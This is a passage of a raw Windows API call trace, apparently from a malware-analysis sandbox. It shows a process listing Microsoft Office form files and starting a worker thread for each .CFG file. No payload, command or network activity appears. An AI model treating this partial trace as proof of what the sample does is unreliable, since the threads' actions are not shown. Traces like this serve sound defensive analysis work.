dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0112.085] wcscmp (_String1=".", _String2=".") returned 0 [0112.085] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.085] wcscmp (_String1="..", _String2=".") returned 1 [0112.085] wcscmp (_String1="..", _String2="..") returned 0 [0112.085] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1 [0112.085] wcscmp (_String1="ACTIVITL.ICO", _String2=".") returned 1 [0112.085] wcscmp (_String1="ACTIVITL.ICO", _String2="..") returned 1 [0112.085] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITS.ICO", cAlternateFileName="")) returned 1 [0112.086] wcscmp (_String1="ACTIVITS.ICO", _String2=".") returned 1 [0112.086] wcscmp (_String1="ACTIVITS.ICO", _String2="..") returned 1 [0112.086] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITY.CFG", cAlternateFileName="")) returned 1 [0112.086] wcscmp (_String1="ACTIVITY.CFG", _String2=".") returned 1 [0112.086] wcscmp (_String1="ACTIVITY.CFG", _String2="..") returned 1 [0112.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1cf4ade0 [0112.086] wcscpy (in: _Dest=0x1cf4ade0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0112.086] wcscat (in: _Dest=0x1cf4ade0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0112.086] wcscat (in: _Dest=0x1cf4ade0, _Source="ACTIVITY.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" [0127.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ade0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1940 [0127.744] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPT.CFG", cAlternateFileName="")) returned 1 [0127.745] wcscmp (_String1="APPT.CFG", _String2=".") returned 1 [0127.745] wcscmp (_String1="APPT.CFG", _String2="..") returned 1 [0127.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202ae2f0 [0127.745] wcscpy (in: _Dest=0x202ae2f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.745] wcscat (in: _Dest=0x202ae2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.745] wcscat (in: _Dest=0x202ae2f0, _Source="APPT.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" [0127.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1944 [0127.747] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTL.ICO", cAlternateFileName="")) returned 1 [0127.747] wcscmp (_String1="APPTL.ICO", _String2=".") returned 1 [0127.747] wcscmp (_String1="APPTL.ICO", _String2="..") returned 1 [0127.747] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTS.ICO", cAlternateFileName="")) returned 1 [0127.747] wcscmp (_String1="APPTS.ICO", _String2=".") returned 1 [0127.747] wcscmp (_String1="APPTS.ICO", _String2="..") returned 1 [0127.747] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.CFG", cAlternateFileName="")) returned 1 [0127.747] wcscmp (_String1="CNFNOT.CFG", _String2=".") returned 1 [0127.747] wcscmp (_String1="CNFNOT.CFG", _String2="..") returned 1 [0127.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202ae410 [0127.748] wcscpy (in: _Dest=0x202ae410, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.748] wcscat (in: _Dest=0x202ae410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.748] wcscat (in: _Dest=0x202ae410, _Source="CNFNOT.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" [0127.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1948 [0127.749] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8ed400, ftCreationTime.dwHighDateTime=0x1c68837, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec8ed400, ftLastWriteTime.dwHighDateTime=0x1c68837, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.ICO", cAlternateFileName="")) returned 1 [0127.749] wcscmp (_String1="CNFNOT.ICO", _String2=".") returned 1 [0127.749] wcscmp (_String1="CNFNOT.ICO", _String2="..") returned 1 [0127.750] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFRES.CFG", cAlternateFileName="")) returned 1 [0127.750] wcscmp (_String1="CNFRES.CFG", _String2=".") returned 1 [0127.750] wcscmp (_String1="CNFRES.CFG", _String2="..") returned 1 [0127.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202ae4a0 [0127.750] wcscpy (in: _Dest=0x202ae4a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.750] wcscat (in: _Dest=0x202ae4a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.750] wcscat (in: _Dest=0x202ae4a0, _Source="CNFRES.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" [0127.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194c [0127.751] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONFLICT.ICO", cAlternateFileName="")) returned 1 [0127.751] wcscmp (_String1="CONFLICT.ICO", _String2=".") returned 1 [0127.752] wcscmp (_String1="CONFLICT.ICO", _String2="..") returned 1 [0127.752] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACT.CFG", cAlternateFileName="")) returned 1 [0127.752] wcscmp (_String1="CONTACT.CFG", _String2=".") returned 1 [0127.752] wcscmp (_String1="CONTACT.CFG", _String2="..") returned 1 [0127.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202ae530 [0127.752] wcscpy (in: _Dest=0x202ae530, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.752] wcscat (in: _Dest=0x202ae530, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.752] wcscat (in: _Dest=0x202ae530, _Source="CONTACT.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" [0127.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1950 [0127.753] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTL.ICO", cAlternateFileName="")) returned 1 [0127.753] wcscmp (_String1="CONTACTL.ICO", _String2=".") returned 1 [0127.753] wcscmp (_String1="CONTACTL.ICO", _String2="..") returned 1 [0127.753] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTS.ICO", cAlternateFileName="")) returned 1 [0127.753] wcscmp (_String1="CONTACTS.ICO", _String2=".") returned 1 [0127.753] wcscmp (_String1="CONTACTS.ICO", _String2="..") returned 1 [0127.753] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLIST.CFG", cAlternateFileName="")) returned 1 [0127.754] wcscmp (_String1="DISTLIST.CFG", _String2=".") returned 1 [0127.754] wcscmp (_String1="DISTLIST.CFG", _String2="..") returned 1 [0127.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae5c0 [0127.754] wcscpy (in: _Dest=0x202ae5c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.754] wcscat (in: _Dest=0x202ae5c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.754] wcscat (in: _Dest=0x202ae5c0, _Source="DISTLIST.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" [0127.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1954 [0127.755] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTL.ICO", cAlternateFileName="")) returned 1 [0127.755] wcscmp (_String1="DISTLSTL.ICO", _String2=".") returned 1 [0127.755] wcscmp (_String1="DISTLSTL.ICO", _String2="..") returned 1 [0127.756] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTS.ICO", cAlternateFileName="")) returned 1 [0127.756] wcscmp (_String1="DISTLSTS.ICO", _String2=".") returned 1 [0127.756] wcscmp (_String1="DISTLSTS.ICO", _String2="..") returned 1 [0127.756] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOC.CFG", cAlternateFileName="")) returned 1 [0127.756] wcscmp (_String1="DOC.CFG", _String2=".") returned 1 [0127.756] wcscmp (_String1="DOC.CFG", _String2="..") returned 1 [0127.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae650 [0127.756] wcscpy (in: _Dest=0x202ae650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.756] wcscat (in: _Dest=0x202ae650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.756] wcscat (in: _Dest=0x202ae650, _Source="DOC.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" [0127.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1958 [0127.758] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCL.ICO", cAlternateFileName="")) returned 1 [0127.758] wcscmp (_String1="DOCL.ICO", _String2=".") returned 1 [0127.758] wcscmp (_String1="DOCL.ICO", _String2="..") returned 1 [0127.758] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCS.ICO", cAlternateFileName="")) returned 1 [0127.758] wcscmp (_String1="DOCS.ICO", _String2=".") returned 1 [0127.758] wcscmp (_String1="DOCS.ICO", _String2="..") returned 1 [0127.758] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x473e9c00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x473e9c00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEM.CFG", cAlternateFileName="")) returned 1 [0127.758] wcscmp (_String1="EXITEM.CFG", _String2=".") returned 1 [0127.758] wcscmp (_String1="EXITEM.CFG", _String2="..") returned 1 [0127.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202af340 [0127.758] wcscpy (in: _Dest=0x202af340, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.759] wcscat (in: _Dest=0x202af340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.759] wcscat (in: _Dest=0x202af340, _Source="EXITEM.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" [0127.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x195c [0127.760] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEML.ICO", cAlternateFileName="")) returned 1 [0127.760] wcscmp (_String1="EXITEML.ICO", _String2=".") returned 1 [0127.760] wcscmp (_String1="EXITEML.ICO", _String2="..") returned 1 [0127.761] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEMS.ICO", cAlternateFileName="")) returned 1 [0127.761] wcscmp (_String1="EXITEMS.ICO", _String2=".") returned 1 [0127.761] wcscmp (_String1="EXITEMS.ICO", _String2="..") returned 1 [0127.761] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb999900, ftCreationTime.dwHighDateTime=0x1c451be, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb999900, ftLastWriteTime.dwHighDateTime=0x1c451be, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMAIL.CFG", cAlternateFileName="")) returned 1 [0127.761] wcscmp (_String1="INFOMAIL.CFG", _String2=".") returned 1 [0127.761] wcscmp (_String1="INFOMAIL.CFG", _String2="..") returned 1 [0127.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202aefe0 [0127.761] wcscpy (in: _Dest=0x202aefe0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.761] wcscat (in: _Dest=0x202aefe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.761] wcscat (in: _Dest=0x202aefe0, _Source="INFOMAIL.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" [0127.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aefe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1960 [0127.762] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d0fd900, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d0fd900, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOML.ICO", cAlternateFileName="")) returned 1 